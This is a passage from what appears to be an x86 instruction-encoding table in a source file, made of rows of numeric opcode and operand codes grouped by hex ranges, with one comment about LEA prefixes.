[6768,6769,6770,6771,6772,6773,6774,6775,6776,6777,6778,6779,6780,6781,6782,6783,137952,137953,137954,6883,6891,358, 0x08018D]], - [SharedShift0, [7024,7025,7026,7027,7028,7029,7030,7031,7032,7033,7034,7035,7036,7037,7038,7039,138208,138209,138210,7139,7147,358, 0x08018D]], - [SharedShift0, [7280,7281,7282,7283,7284,7285,7286,7287,7288,7289,7290,7291,7292,7293,7294,7295,138464,138465,138466,7395,7403,358, 0x08018D]], - [SharedShift0, [7536,7537,7538,7539,7540,7541,7542,7543,7544,7545,7546,7547,7548,7549,7550,7551,138720,138721,138722,7651,7659,358]], - [SharedShift0, [7792,7793,7794,7795,7796,7797,7798,7799,7800,7801,7802,7803,7804,7805,7806,7807,138976,138977,138978,7907,7915,358]], - [SharedShift0, [8048,8049,8050,8051,8052,8053,8054,8055,8056,8057,8058,8059,8060,8061,8062,8063,139232,139233,139234,8163,8171,358, 0x08018D]], - [SharedShift0, [8304,8305,8306,8307,8308,8309,8310,8311,8312,8313,8314,8315,8316,8317,8318,8319,139488,139489,139490,8419,8427,358, 0x08018D]], -# 0x20 - [SharedShift0, [8560,8561,8562,8563,8564,8565,8566,8567,8568,8569,8570,8571,8572,8573,8574,8575,139744,139745,139746,8675,8683,358, 0x10018D]], - [SharedShift0, [8816,8817,8818,8819,8820,8821,8822,8823,8824,8825,8826,8827,8828,8829,8830,8831,140000,140001,140002,8931,8939,358, 0x10018D]], - [SharedShift0, [9072,9073,9074,9075,9076,9077,9078,9079,9080,9081,9082,9083,9084,9085,9086,9087,140256,140257,140258,9187,9195,358, 0x10018D]], - [SharedShift0, [9328,9329,9330,9331,9332,9333,9334,9335,9336,9337,9338,9339,9340,9341,9342,9343,140512,140513,140514,9443,9451,358, 0x10018D]], - [SharedShift0, [9584,9585,9586,9587,9588,9589,9590,9591,9592,9593,9594,9595,9596,9597,9598,9599,140768,140769,140770,9699,9707,358]], - [SharedShift0, [9840,9841,9842,9843,9844,9845,9846,9847,9848,9849,9850,9851,9852,9853,9854,9855,141024,141025,141026,9955,9963,358]], - [SharedShift0, [10096,10097,10098,10099,10100,10101,10102,10103,10104,10105,10106,10107,10108,10109,10110,10111,141280,141281,141282,10211,10219,358, 0x10018D]], - [SharedShift0, [10352,10353,10354,10355,10356,10357,10358,10359,10360,10361,10362,10363,10364,10365,10366,10367,141536,141537,141538,10467,10475,358, 0x10018D]], - [SharedShift0, [10608,10609,10610,10611,10612,10613,10614,10615,10616,10617,10618,10619,10620,10621,10622,10623,141792,141793,141794,10723,10731,358, 0x20018D]], - [SharedShift0, [10864,10865,10866,10867,10868,10869,10870,10871,10872,10873,10874,10875,10876,10877,10878,10879,142048,142049,142050,10979,10987,358, 0x20018D]], - [SharedShift0, [11120,11121,11122,11123,11124,11125,11126,11127,11128,11129,11130,11131,11132,11133,11134,11135,142304,142305,142306,11235,11243,358, 0x20018D]], - [SharedShift0, [11376,11377,11378,11379,11380,11381,11382,11383,11384,11385,11386,11387,11388,11389,11390,11391,142560,142561,142562,11491,11499,358, 0x20018D]], - [SharedShift0, [11632,11633,11634,11635,11636,11637,11638,11639,11640,11641,11642,11643,11644,11645,11646,11647,142816,142817,142818,11747,11755,358]], - [SharedShift0, [11888,11889,11890,11891,11892,11893,11894,11895,11896,11897,11898,11899,11900,11901,11902,11903,143072,143073,143074,12003,12011,358]], - [SharedShift0, [12144,12145,12146,12147,12148,12149,12150,12151,12152,12153,12154,12155,12156,12157,12158,12159,143328,143329,143330,12259,12267,358, 0x20018D]], - [SharedShift0, [12400,12401,12402,12403,12404,12405,12406,12407,12408,12409,12410,12411,12412,12413,12414,12415,143584,143585,143586,12515,12523,358, 0x20018D]], -# 0x30 - [SharedShift0, [12656,12657,12658,12659,12660,12661,12662,12663,12664,12665,12666,12667,12668,12669,12670,12671,143840,143841,143842,12771,12779,358, 0x40018D]], - [SharedShift0, [12912,12913,12914,12915,12916,12917,12918,12919,12920,12921,12922,12923,12924,12925,12926,12927,144096,144097,144098,13027,13035,358, 0x40018D]], - [SharedShift0, [13168,13169,13170,13171,13172,13173,13174,13175,13176,13177,13178,13179,13180,13181,13182,13183,144352,144353,144354,13283,13291,358, 0x40018D]], - [SharedShift0, [13424,13425,13426,13427,13428,13429,13430,13431,13432,13433,13434,13435,13436,13437,13438,13439,144608,144609,144610,13539,13547,358, 0x40018D]], - [SharedShift0, [13680,13681,13682,13683,13684,13685,13686,13687,13688,13689,13690,13691,13692,13693,13694,13695,144864,144865,144866,13795,13803,358]], - [SharedShift0, [13936,13937,13938,13939,13940,13941,13942,13943,13944,13945,13946,13947,13948,13949,13950,13951,145120,145121,145122,14051,14059,358]], - [SharedShift0, [14192,14193,14194,14195,14196,14197,14198,14199,14200,14201,14202,14203,14204,14205,14206,14207,145376,145377,145378,14307,14315,358, 0x40018D]], - [SharedShift0, [14448,14449,14450,14451,14452,14453,14454,14455,14456,14457,14458,14459,14460,14461,14462,14463,145632,145633,145634,14563,14571,358, 0x40018D]], - [SharedShift0, [14704,14705,14706,14707,14708,14709,14710,14711,14712,14713,14714,14715,14716,14717,14718,14719,145888,145889,145890,14819,14827,358, 0x80018D]], - [SharedShift0, [14960,14961,14962,14963,14964,14965,14966,14967,14968,14969,14970,14971,14972,14973,14974,14975,146144,146145,146146,15075,15083,358, 0x80018D]], - [SharedShift0, [15216,15217,15218,15219,15220,15221,15222,15223,15224,15225,15226,15227,15228,15229,15230,15231,146400,146401,146402,15331,15339,358, 0x80018D]], - [SharedShift0, [15472,15473,15474,15475,15476,15477,15478,15479,15480,15481,15482,15483,15484,15485,15486,15487,146656,146657,146658,15587,15595,358, 0x80018D]], - [SharedShift0, [15728,15729,15730,15731,15732,15733,15734,15735,15736,15737,15738,15739,15740,15741,15742,15743,146912,146913,146914,15843,15851,358]], - [SharedShift0, [15984,15985,15986,15987,15988,15989,15990,15991,15992,15993,15994,15995,15996,15997,15998,15999,147168,147169,147170,16099,16107,358]], - [SharedShift0, [16240,16241,16242,16243,16244,16245,16246,16247,16248,16249,16250,16251,16252,16253,16254,16255,147424,147425,147426,16355,16363,358, 0x80018D]], - [SharedShift0, [16496,16497,16498,16499,16500,16501,16502,16503,16504,16505,16506,16507,16508,16509,16510,16511,147680,147681,147682,16611,16619,358, 0x80018D]], -# 0x40 - [SharedShift0, [16752,16753,16754,16755,16756,16757,16758,16759,16760,16761,16762,16763,16764,16765,16766,16767,147936,147937,147938,16867,16875,358, 0x01028D]], - [SharedShift0, [17008,17009,17010,17011,17012,17013,17014,17015,17016,17017,17018,17019,17020,17021,17022,17023,148192,148193,148194,17123,17131,358, 0x01028D]], - [SharedShift0, [17264,17265,17266,17267,17268,17269,17270,17271,17272,17273,17274,17275,17276,17277,17278,17279,148448,148449,148450,17379,17387,358, 0x01028D]], - [SharedShift0, [17520,17521,17522,17523,17524,17525,17526,17527,17528,17529,17530,17531,17532,17533,17534,17535,148704,148705,148706,17635,17643,358, 0x01028D]], - [SharedShift0, [17776,17777,17778,17779,17780,17781,17782,17783,17784,17785,17786,17787,17788,17789,17790,17791,148960,148961,148962,17891,17899,358]], - [SharedShift0, [18032,18033,18034,18035,18036,18037,18038,18039,18040,18041,18042,18043,18044,18045,18046,18047,149216,149217,149218,18147,18155,358, 0x01028D]], - [SharedShift0, [18288,18289,18290,18291,18292,18293,18294,18295,18296,18297,18298,18299,18300,18301,18302,18303,149472,149473,149474,18403,18411,358, 0x01028D]], - [SharedShift0, [18544,18545,18546,18547,18548,18549,18550,18551,18552,18553,18554,18555,18556,18557,18558,18559,149728,149729,149730,18659,18667,358, 0x01028D]], - [SharedShift0, [18800,18801,18802,18803,18804,18805,18806,18807,18808,18809,18810,18811,18812,18813,18814,18815,149984,149985,149986,18915,18923,358, 0x02028D]], - [SharedShift0, [19056,19057,19058,19059,19060,19061,19062,19063,19064,19065,19066,19067,19068,19069,19070,19071,150240,150241,150242,19171,19179,358, 0x02028D]], - [SharedShift0, [19312,19313,19314,19315,19316,19317,19318,19319,19320,19321,19322,19323,19324,19325,19326,19327,150496,150497,150498,19427,19435,358, 0x02028D]], - [SharedShift0, [19568,19569,19570,19571,19572,19573,19574,19575,19576,19577,19578,19579,19580,19581,19582,19583,150752,150753,150754,19683,19691,358, 0x02028D]], - [SharedShift0, [19824,19825,19826,19827,19828,19829,19830,19831,19832,19833,19834,19835,19836,19837,19838,19839,151008,151009,151010,19939,19947,358]], - [SharedShift0, [20080,20081,20082,20083,20084,20085,20086,20087,20088,20089,20090,20091,20092,20093,20094,20095,151264,151265,151266,20195,20203,358, 0x02028D]], - [SharedShift0, [20336,20337,20338,20339,20340,20341,20342,20343,20344,20345,20346,20347,20348,20349,20350,20351,151520,151521,151522,20451,20459,358, 0x02028D]], - [SharedShift0, [20592,20593,20594,20595,20596,20597,20598,20599,20600,20601,20602,20603,20604,20605,20606,20607,151776,151777,151778,20707,20715,358, 0x02028D]], -# 0x50 - [SharedShift0, [20848,20849,20850,20851,20852,20853,20854,20855,20856,20857,20858,20859,20860,20861,20862,20863,152032,152033,152034,20963,20971,358, 0x04028D]], - [SharedShift0, [21104,21105,21106,21107,21108,21109,21110,21111,21112,21113,21114,21115,21116,21117,21118,21119,152288,152289,152290,21219,21227,358, 0x04028D]], - [SharedShift0, [21360,21361,21362,21363,21364,21365,21366,21367,21368,21369,21370,21371,21372,21373,21374,21375,152544,152545,152546,21475,21483,358, 0x04028D]], - [SharedShift0, [21616,21617,21618,21619,21620,21621,21622,21623,21624,21625,21626,21627,21628,21629,21630,21631,152800,152801,152802,21731,21739,358, 0x04028D]], - [SharedShift0, [21872,21873,21874,21875,21876,21877,21878,21879,21880,21881,21882,21883,21884,21885,21886,21887,153056,153057,153058,21987,21995,358]], - [SharedShift0, [22128,22129,22130,22131,22132,22133,22134,22135,22136,22137,22138,22139,22140,22141,22142,22143,153312,153313,153314,22243,22251,358, 0x04028D]], - [SharedShift0, [22384,22385,22386,22387,22388,22389,22390,22391,22392,22393,22394,22395,22396,22397,22398,22399,153568,153569,153570,22499,22507,358, 0x04028D]], - [SharedShift0, [22640,22641,22642,22643,22644,22645,22646,22647,22648,22649,22650,22651,22652,22653,22654,22655,153824,153825,153826,22755,22763,358, 0x04028D]], - [SharedShift0, [22896,22897,22898,22899,22900,22901,22902,22903,22904,22905,22906,22907,22908,22909,22910,22911,154080,154081,154082,23011,23019,358, 0x08028D]], - [SharedShift0, [23152,23153,23154,23155,23156,23157,23158,23159,23160,23161,23162,23163,23164,23165,23166,23167,154336,154337,154338,23267,23275,358, 0x08028D]], - [SharedShift0, [23408,23409,23410,23411,23412,23413,23414,23415,23416,23417,23418,23419,23420,23421,23422,23423,154592,154593,154594,23523,23531,358, 0x08028D]], - [SharedShift0, [23664,23665,23666,23667,23668,23669,23670,23671,23672,23673,23674,23675,23676,23677,23678,23679,154848,154849,154850,23779,23787,358, 0x08028D]], - [SharedShift0, [23920,23921,23922,23923,23924,23925,23926,23927,23928,23929,23930,23931,23932,23933,23934,23935,155104,155105,155106,24035,24043,358]], - [SharedShift0, [24176,24177,24178,24179,24180,24181,24182,24183,24184,24185,24186,24187,24188,24189,24190,24191,155360,155361,155362,24291,24299,358, 0x08028D]], - [SharedShift0, [24432,24433,24434,24435,24436,24437,24438,24439,24440,24441,24442,24443,24444,24445,24446,24447,155616,155617,155618,24547,24555,358, 0x08028D]], - [SharedShift0, [24688,24689,24690,24691,24692,24693,24694,24695,24696,24697,24698,24699,24700,24701,24702,24703,155872,155873,155874,24803,24811,358, 0x08028D]], -# 0x60 - [SharedShift0, [24944,24945,24946,24947,24948,24949,24950,24951,24952,24953,24954,24955,24956,24957,24958,24959,156128,156129,156130,25059,25067,358, 0x10028D]], - [SharedShift0, [25200,25201,25202,25203,25204,25205,25206,25207,25208,25209,25210,25211,25212,25213,25214,25215,156384,156385,156386,25315,25323,358, 0x10028D]], - [SharedShift0, [25456,25457,25458,25459,25460,25461,25462,25463,25464,25465,25466,25467,25468,25469,25470,25471,156640,156641,156642,25571,25579,358, 0x10028D]], - [SharedShift0, [25712,25713,25714,25715,25716,25717,25718,25719,25720,25721,25722,25723,25724,25725,25726,25727,156896,156897,156898,25827,25835,358, 0x10028D]], - [SharedShift0, [25968,25969,25970,25971,25972,25973,25974,25975,25976,25977,25978,25979,25980,25981,25982,25983,157152,157153,157154,26083,26091,358]], - [SharedShift0, [26224,26225,26226,26227,26228,26229,26230,26231,26232,26233,26234,26235,26236,26237,26238,26239,157408,157409,157410,26339,26347,358, 0x10028D]], - [[65796,66565,1048582,65804,66573,1048590,65812,66581,1048598,65820,66589,1048606,65828,66597,65575,65836,66605,65583,65844,66613,65591,316,1085,65599,65600,131137,262210,524355,1048644,2097221,4194374,8388679,65608,131145,262218,524363,1048652,2097229,4194382,8388687,1048656,1048657,1048658,1048659,1048660,1048661,1048662,1048663,1114200,1179737,1310810,1572955,1048668,3145821,5242974,9437279,1048672,1049704,1048938,26480,26481,26482,26483,26484,26485,26486,26487,26488,26489,26490,26491,26492,26493,26494,26495,144,196753,327826,589971,1114260,2162837,4259990,8454295,65688,262297,155,1048732,65695,424,1193,65968,131505,262578,524723,65972,131509,262582,524727,66744,132281,263354,525499,1049788,2098365,4195518,8389823,66260,66005,65750,157664,157665,157666,26595,26603,245,248,249,252,253, 0x10028D]], - [[65796,66565,1048582,65804,66573,1048590,65812,66581,1048598,65820,66589,1048606,65828,66597,65575,65836,66605,65583,65844,66613,65591,316,1085,65599,65600,131137,262210,524355,1048644,2097221,4194374,8388679,65608,131145,262218,524363,1048652,2097229,4194382,8388687,1048656,1048657,1048658,1048659,1048660,1048661,1048662,1048663,1114200,1179737,1310810,1572955,1048668,3145821,5242974,9437279,1048672,1049704,1048938,26736,26737,26738,26739,26740,26741,26742,26743,26744,26745,26746,26747,26748,26749,26750,26751,144,196753,327826,589971,1114260,2162837,4259990,8454295,65688,262297,155,1048732,65695,424,1193,65968,131505,262578,524723,65972,131509,262582,524727,66744,132281,263354,525499,1049788,2098365,4195518,8389823,66260,66005,65750,157920,157921,157922,26851,26859,245,248,249,252,253, 0x10028D]], - [SharedShift0, [26992,26993,26994,26995,26996,26997,26998,26999,27000,27001,27002,27003,27004,27005,27006,27007,158176,158177,158178,27107,27115,358, 0x20028D]], - [SharedShift0, [27248,27249,27250,27251,27252,27253,27254,27255,27256,27257,27258,27259,27260,27261,27262,27263,158432,158433,158434,27363,27371,358, 0x20028D]], - [SharedShift0, [27504,27505,27506,27507,27508,27509,27510,27511,27512,27513,27514,27515,27516,27517,27518,27519,158688,158689,158690,27619,27627,358, 0x20028D]], - [SharedShift0, [27760,27761,27762,27763,27764,27765,27766,27767,27768,27769,27770,27771,27772,27773,27774,27775,158944,158945,158946,27875,27883,358, 0x20028D]], - [SharedShift0, [28016,28017,28018,28019,28020,28021,28022,28023,28024,28025,28026,28027,28028,28029,28030,28031,159200,159201,159202,28131,28139,358]], - [SharedShift0, [28272,28273,28274,28275,28276,28277,28278,28279,28280,28281,28282,28283,28284,28285,28286,28287,159456,159457,159458,28387,28395,358, 0x20028D]], - [SharedShift0, [28528,28529,28530,28531,28532,28533,28534,28535,28536,28537,28538,28539,28540,28541,28542,28543,159712,159713,159714,28643,28651,358, 0x20028D]], - [SharedShift0, [28784,28785,28786,28787,28788,28789,28790,28791,28792,28793,28794,28795,28796,28797,28798,28799,159968,159969,159970,28899,28907,358, 0x20028D]], -# 0x70 - [SharedShift0, [29040,29041,29042,29043,29044,29045,29046,29047,29048,29049,29050,29051,29052,29053,29054,29055,160224,160225,160226,29155,29163, 0x40028D]], - [SharedShift0, [29296,29297,29298,29299,29300,29301,29302,29303,29304,29305,29306,29307,29308,29309,29310,29311,160480,160481,160482,29411,29419, 0x40028D]], - [SharedShift0, [29552,29553,29554,29555,29556,29557,29558,29559,29560,29561,29562,29563,29564,29565,29566,29567,160736,160737,160738,29667,29675, 0x40028D]], - [SharedShift0, [29808,29809,29810,29811,29812,29813,29814,29815,29816,29817,29818,29819,29820,29821,29822,29823,160992,160993,160994,29923,29931, 0x40028D]], - [SharedShift0, [30064,30065,30066,30067,30068,30069,30070,30071,30072,30073,30074,30075,30076,30077,30078,30079,161248,161249,161250,30179,30187]], - [SharedShift0, [30320,30321,30322,30323,30324,30325,30326,30327,30328,30329,30330,30331,30332,30333,30334,30335,161504,161505,161506,30435,30443, 0x40028D]], - [SharedShift0, [30576,30577,30578,30579,30580,30581,30582,30583,30584,30585,30586,30587,30588,30589,30590,30591,161760,161761,161762,30691,30699, 0x40028D]], - [SharedShift0, [30832,30833,30834,30835,30836,30837,30838,30839,30840,30841,30842,30843,30844,30845,30846,30847,162016,162017,162018,30947,30955, 0x40028D]], - [SharedShift0, [31088,31089,31090,31091,31092,31093,31094,31095,31096,31097,31098,31099,31100,31101,31102,31103,162272,162273,162274,31203,31211, 0x80028D]], - [SharedShift0, [31344,31345,31346,31347,31348,31349,31350,31351,31352,31353,31354,31355,31356,31357,31358,31359,162528,162529,162530,31459,31467, 0x80028D]], - [SharedShift0, [31600,31601,31602,31603,31604,31605,31606,31607,31608,31609,31610,31611,31612,31613,31614,31615,162784,162785,162786,31715,31723, 0x80028D]], - [SharedShift0, [31856,31857,31858,31859,31860,31861,31862,31863,31864,31865,31866,31867,31868,31869,31870,31871,163040,163041,163042,31971,31979, 0x80028D]], - [SharedShift0, [32112,32113,32114,32115,32116,32117,32118,32119,32120,32121,32122,32123,32124,32125,32126,32127,163296,163297,163298,32227,32235]], - [SharedShift0, [32368,32369,32370,32371,32372,32373,32374,32375,32376,32377,32378,32379,32380,32381,32382,32383,163552,163553,163554,32483,32491, 0x80028D]], - [SharedShift0, [32624,32625,32626,32627,32628,32629,32630,32631,32632,32633,32634,32635,32636,32637,32638,32639,163808,163809,163810,32739,32747, 0x80028D]], - [SharedShift0, [32880,32881,32882,32883,32884,32885,32886,32887,32888,32889,32890,32891,32892,32893,32894,32895,164064,164065,164066,32995,33003, 0x80028D]], -# 0x80 - [SharedShift0, [358, 0x01058D]], - [SharedShift0, [358, 0x01058D]], - [SharedShift0, [358, 0x01058D]], - [SharedShift0, [358, 0x01058D]], - [SharedShift0, [358]], - [SharedShift0, [358, 0x01058D]], - [SharedShift0, [358, 0x01058D]], - [SharedShift0, [358, 0x01058D]], - [SharedShift0, [358, 0x02058D]], - [SharedShift0, [358, 0x02058D]], - [SharedShift0, [358, 0x02058D]], - [SharedShift0, [358, 0x02058D]], - [SharedShift0, [358]], - [SharedShift0], # Do not allow LEA to have a o16 prefix - [SharedShift0, [358, 0x02058D]], - [SharedShift0, [358, 0x02058D]], -# 0x90 - [SharedShift0, [358, 0x04058D]], - [SharedShift0, [358, 0x04058D]], - [SharedShift0, [358, 0x04058D]], - [SharedShift0, [358, 0x04058D]], - [SharedShift0, [358]], - [SharedShift0, [358, 0x04058D]], - [SharedShift0, [358, 0x04058D]], - [SharedShift0, [358, 0x04058D]], - [SharedShift0, [358, 0x08058D]], - [SharedShift0, [358, 0x08058D]], - [SharedShift0, [358, 0x08058D]], - [SharedShift0, [358, 0x08058D]], - [SharedShift0, [358]], - [SharedShift0, [358, 0x08058D]], - [SharedShift0, [358, 0x08058D]], - [SharedShift0, [358, 0x08058D]], -# 0xa0 - [SharedShift0, [358, 0x10058D]], - [SharedShift0, [358, 0x10058D]], - [SharedShift0, [358, 0x10058D]], - [SharedShift0, [358, 0x10058D]], - [SharedShift0, [358]], - [SharedShift0, [358, 0x10058D]], - [SharedShift0, [358, 0x10058D]], - [SharedShift0, [358, 0x10058D]], - [SharedShift0, [358, 0x20058D]], - [SharedShift0, [358, 0x20058D]], - [SharedShift0, [358, 0x20058D]], - [SharedShift0, [358, 0x20058D]], - [SharedShift0, [358]], - [SharedShift0, [358, 0x20058D]], - [SharedShift0, [358, 0x20058D]], - [SharedShift0, [358, 0x20058D]], -# 0xb0 - [SharedShift0, [358, 0x40058D]], - [SharedShift0, [358, 0x40058D]], - [SharedShift0, [358, 0x40058D]], - [SharedShift0, [358, 0x40058D]], - [SharedShift0, [358]], - [SharedShift0, [358, 0x40058D]], - [SharedShift0, [358, 0x40058D]], - [SharedShift0, [358, 0x40058D]], - [SharedShift0, [358, 0x80058D]], - [SharedShift0, [358, 0x80058D]], - [SharedShift0, [358, 0x80058D]], - [SharedShift0, [358, 0x80058D]], - [SharedShift0, [358]], - [SharedShift0, [358, 0x80058D]], - [SharedShift0, [358, 0x80058D]], - [SharedShift0, [358, 0x80058D]], -# 0xc0 - [SharedShift0, [65792,65793,65794,65795,65800,65801,65802,65803,65808,65809,65810,65811,65816,65817,65818,65819,65824,65825,65826,65827,65832,65833,65834,65835,65840,65841,65842,65843,312,313,314,315,66921,66155,66176,66945,66179,388,389,65926,65927,65928,65929,66240,66241,66000,66001,66002,66003,758,1527,66046,66047,358,0x01018C,0x0102C6,0x0105C7]], - [SharedShift0, [131328,131329,65794,65795,131336,131337,65802,65803,131344,131345,65810,65811,131352,131353,65818,65819,131360,131361,65826,65827,131368,131369,65834,65835,131376,131377,65842,65843,312,313,314,315,66921,66155,131712,132481,131715,388,389,196998,196999,131464,131465,131776,131777,131536,131537,131538,131539,758,1527,131582,131583,358,0x02018C, 0x0202C6, 0x0205C7]], - [SharedShift0, [262400,262401,65794,65795,262408,262409,65802,65803,262416,262417,65810,65811,262424,262425,65818,65819,262432,262433,65826,65827,262440,262441,65834,65835,262448,262449,65842,65843,312,313,314,315,66921,66155,262784,263553,262787,388,389,328070,328071,262536,262537,262848,262849,262608,262609,262610,262611,758,1527,262654,262655,358, 0x04018C, 0x0402C6, 0x0405C7]], - [SharedShift0, [524544,524545,65794,65795,524552,524553,65802,65803,524560,524561,65810,65811,524568,524569,65818,65819,524576,524577,65826,65827,524584,524585,65834,65835,524592,524593,65842,65843,312,313,314,315,66921,66155,524928,525697,524931,388,389,590214,590215,524680,524681,524992,524993,524752,524753,524754,524755,758,1527,524798,524799,358, 0x08018C, 0x0802C6, 0x0805C7]], - [SharedShift0, [65792,1048833,65794,65795,65800,1048841,65802,65803,65808,1048849,65810,65811,65816,1048857,65818,65819,65824,1048865,65826,65827,65832,1048873,65834,65835,65840,1048881,65842,65843,312,313,314,315,66921,66155,66176,1049985,1049219,388,389,65926,1114503,65928,1048969,66240,1049281,66000,1049041,66002,1049043,758,1527,66046,1049087,358, 0x10018C, 0x0102C6, 0x1005C7]], - [SharedShift0, [131328,2097409,65794,65795,131336,2097417,65802,65803,131344,2097425,65810,65811,131352,2097433,65818,65819,131360,2097441,65826,65827,131368,2097449,65834,65835,131376,2097457,65842,65843,312,313,314,315,66921,66155,131712,2098561,2097795,388,389,196998,2163079,131464,2097545,131776,2097857,131536,2097617,131538,2097619,758,1527,131582,2097663,358,0x20018C, 0x0202C6, 0x2005C7]], - [SharedShift0, [262400,4194561,65794,65795,262408,4194569,65802,65803,262416,4194577,65810,65811,262424,4194585,65818,65819,262432,4194593,65826,65827,262440,4194601,65834,65835,262448,4194609,65842,65843,312,313,314,315,66921,66155,262784,4195713,4194947,388,389,328070,4260231,262536,4194697,262848,4195009,262608,4194769,262610,4194771,758,1527,262654,4194815,358, 0x40018C, 0x0402C6, 0x4005C7]], - [SharedShift0, [524544,8388865,65794,65795,524552,8388873,65802,65803,524560,8388881,65810,65811,524568,8388889,65818,65819,524576,8388897,65826,65827,524584,8388905,65834,65835,524592,8388913,65842,65843,312,313,314,315,66921,66155,524928,8390017,8389251,388,389,590214,8454535,524680,8389001,524992,8389313,524752,8389073,524754,8389075,758,1527,524798,8389119,358, 0x80018C, 0x0802C6, 0x8005C7]], - [SharedShift0, [65792,65793,131330,131331,65800,65801,131338,131339,65808,65809,131346,131347,65816,65817,131354,131355,65824,65825,131362,131363,65832,65833,131370,131371,65840,65841,131378,131379,312,313,314,315,132457,131691,66176,66945,66945,66179,388,389,196998,196999,65928,65929,66240,66241,66241,66000,66001,66002,66003,66046,66047,358, 0x01018C]], - [SharedShift0, [131328,131329,131330,131331,131336,131337,131338,131339,131344,131345,131346,131347,131352,131353,131354,131355,131360,131361,131362,131363,131368,131369,131370,131371,131376,131377,131378,131379,312,313,314,315,132457,131691,131712,132481,132481,131715,388,389,131462,131463,131464,131465,131776,131777,131777,131536,131537,131538,131539,131582,131583,358, 0x02018C]], - [SharedShift0, [262400,262401,131330,131331,262408,262409,131338,131339,262416,262417,131346,131347,262424,262425,131354,131355,262432,262433,131362,131363,262440,262441,131370,131371,262448,262449,131378,131379,312,313,314,315,132457,131691,262784,263553,263553,262787,388,389,393606,393607,262536,262537,262848,262849,262849,262608,262609,262610,262611,262654,262655,358, 0x04018C]], - [SharedShift0, [524544,524545,131330,131331,524552,524553,131338,131339,524560,524561,131346,131347,524568,524569,131354,131355,524576,524577,131362,131363,524584,524585,131370,131371,524592,524593,131378,131379,312,313,314,315,132457,131691,524928,525697,525697,524931,388,389,655750,655751,524680,524681,524992,524993,524993,524752,524753,524754,524755,524798,524799,358, 0x08018C]], - [SharedShift0, [65792,1048833,131330,131331,65800,1048841,131338,131339,65808,1048849,131346,131347,65816,1048857,131354,131355,65824,1048865,131362,131363,65832,1048873,131370,131371,65840,1048881,131378,131379,312,313,314,315,132457,131691,66176,1049985,1049985,1049219,388,389,196998,1180039,65928,1048969,66240,1049281,1049281,66000,1049041,66002,1049043,66046,1049087,358, 0x10018C]], - [SharedShift0, [131328,2097409,131330,131331,131336,2097417,131338,131339,131344,2097425,131346,131347,131352,2097433,131354,131355,131360,2097441,131362,131363,131368,2097449,131370,131371,131376,2097457,131378,131379,312,313,314,315,132457,131691,131712,2098561,2098561,2097795,388,389,131462,2228615,131464,2097545,131776,2097857,2097857,131536,2097617,131538,2097619,131582,2097663,358, 0x20018C]], - [SharedShift0, [262400,4194561,131330,131331,262408,4194569,131338,131339,262416,4194577,131346,131347,262424,4194585,131354,131355,262432,4194593,131362,131363,262440,4194601,131370,131371,262448,4194609,131378,131379,312,313,314,315,132457,131691,262784,4195713,4195713,4194947,388,389,393606,4325767,262536,4194697,262848,4195009,4195009,262608,4194769,262610,4194771,262654,4194815,358, 0x40018C]], - [SharedShift0, [524544,8388865,131330,131331,524552,8388873,131338,131339,524560,8388881,131346,131347,524568,8388889,131354,131355,524576,8388897,131362,131363,524584,8388905,131370,131371,524592,8388913,131378,131379,312,313,314,315,132457,131691,524928,8390017,8390017,8389251,388,389,655750,8520071,524680,8389001,524992,8389313,8389313,524752,8389073,524754,8389075,524798,8389119,358, 0x80018C]], -# 0xd0 - [SharedShift0, [65792,65793,262402,262403,65800,65801,262410,262411,65808,65809,262418,262419,65816,65817,262426,262427,65824,65825,262434,262435,65832,65833,262442,262443,65840,65841,262450,262451,312,313,314,315,263529,262763,66176,66945,66945,66179,388,389,328070,328071,65928,65929,66240,66241,66241,66000,66001,66002,66003,66038,66039,358, 0x01018C]], - [SharedShift0, [131328,131329,262402,262403,131336,131337,262410,262411,131344,131345,262418,262419,131352,131353,262426,262427,131360,131361,262434,262435,131368,131369,262442,262443,131376,131377,262450,262451,312,313,314,315,263529,262763,131712,132481,132481,131715,388,389,393606,393607,131464,131465,131776,131777,131777,131536,131537,131538,131539,131574,131575,358, 0x02018C]], - [SharedShift0, [262400,262401,262402,262403,262408,262409,262410,262411,262416,262417,262418,262419,262424,262425,262426,262427,262432,262433,262434,262435,262440,262441,262442,262443,262448,262449,262450,262451,312,313,314,315,263529,262763,262784,263553,263553,262787,388,389,262534,262535,262536,262537,262848,262849,262849,262608,262609,262610,262611,262646,262647,358, 0x04018C]], - [SharedShift0, [524544,524545,262402,262403,524552,524553,262410,262411,524560,524561,262418,262419,524568,524569,262426,262427,524576,524577,262434,262435,524584,524585,262442,262443,524592,524593,262450,262451,312,313,314,315,263529,262763,524928,525697,525697,524931,388,389,786822,786823,524680,524681,524992,524993,524993,524752,524753,524754,524755,524790,524791,358, 0x08018C]], - [SharedShift0, [65792,1048833,262402,262403,65800,1048841,262410,262411,65808,1048849,262418,262419,65816,1048857,262426,262427,65824,1048865,262434,262435,65832,1048873,262442,262443,65840,1048881,262450,262451,312,313,314,315,263529,262763,66176,1049985,1049985,1049219,388,389,328070,1311111,65928,1048969,66240,1049281,1049281,66000,1049041,66002,1049043,66038,1049079,358, 0x10018C]], - [SharedShift0, [131328,2097409,262402,262403,131336,2097417,262410,262411,131344,2097425,262418,262419,131352,2097433,262426,262427,131360,2097441,262434,262435,131368,2097449,262442,262443,131376,2097457,262450,262451,312,313,314,315,263529,262763,131712,2098561,2098561,2097795,388,389,393606,2359687,131464,2097545,131776,2097857,2097857,131536,2097617,131538,2097619,131574,2097655,358, 0x20018C]], - [SharedShift0, [262400,4194561,262402,262403,262408,4194569,262410,262411,262416,4194577,262418,262419,262424,4194585,262426,262427,262432,4194593,262434,262435,262440,4194601,262442,262443,262448,4194609,262450,262451,312,313,314,315,263529,262763,262784,4195713,4195713,4194947,388,389,262534,4456839,262536,4194697,262848,4195009,4195009,262608,4194769,262610,4194771,262646,4194807,358, 0x40018C]], - [SharedShift0, [524544,8388865,262402,262403,524552,8388873,262410,262411,524560,8388881,262418,262419,524568,8388889,262426,262427,524576,8388897,262434,262435,524584,8388905,262442,262443,524592,8388913,262450,262451,312,313,314,315,263529,262763,524928,8390017,8390017,8389251,388,389,786822,8651143,524680,8389001,524992,8389313,8389313,524752,8389073,524754,8389075,524790,8389111,358, 0x80018C]], - [SharedShift0, [65792,65793,524546,524547,65800,65801,524554,524555,65808,65809,524562,524563,65816,65817,524570,524571,65824,65825,524578,524579,65832,65833,524586,524587,65840,65841,524594,524595,312,313,314,315,525673,524907,66176,66945,66945,66179,388,389,590214,590215,65928,65929,66240,66241,66241,66000,66001,66002,66003,66038,66039,358, 0x01018C]], - [SharedShift0, 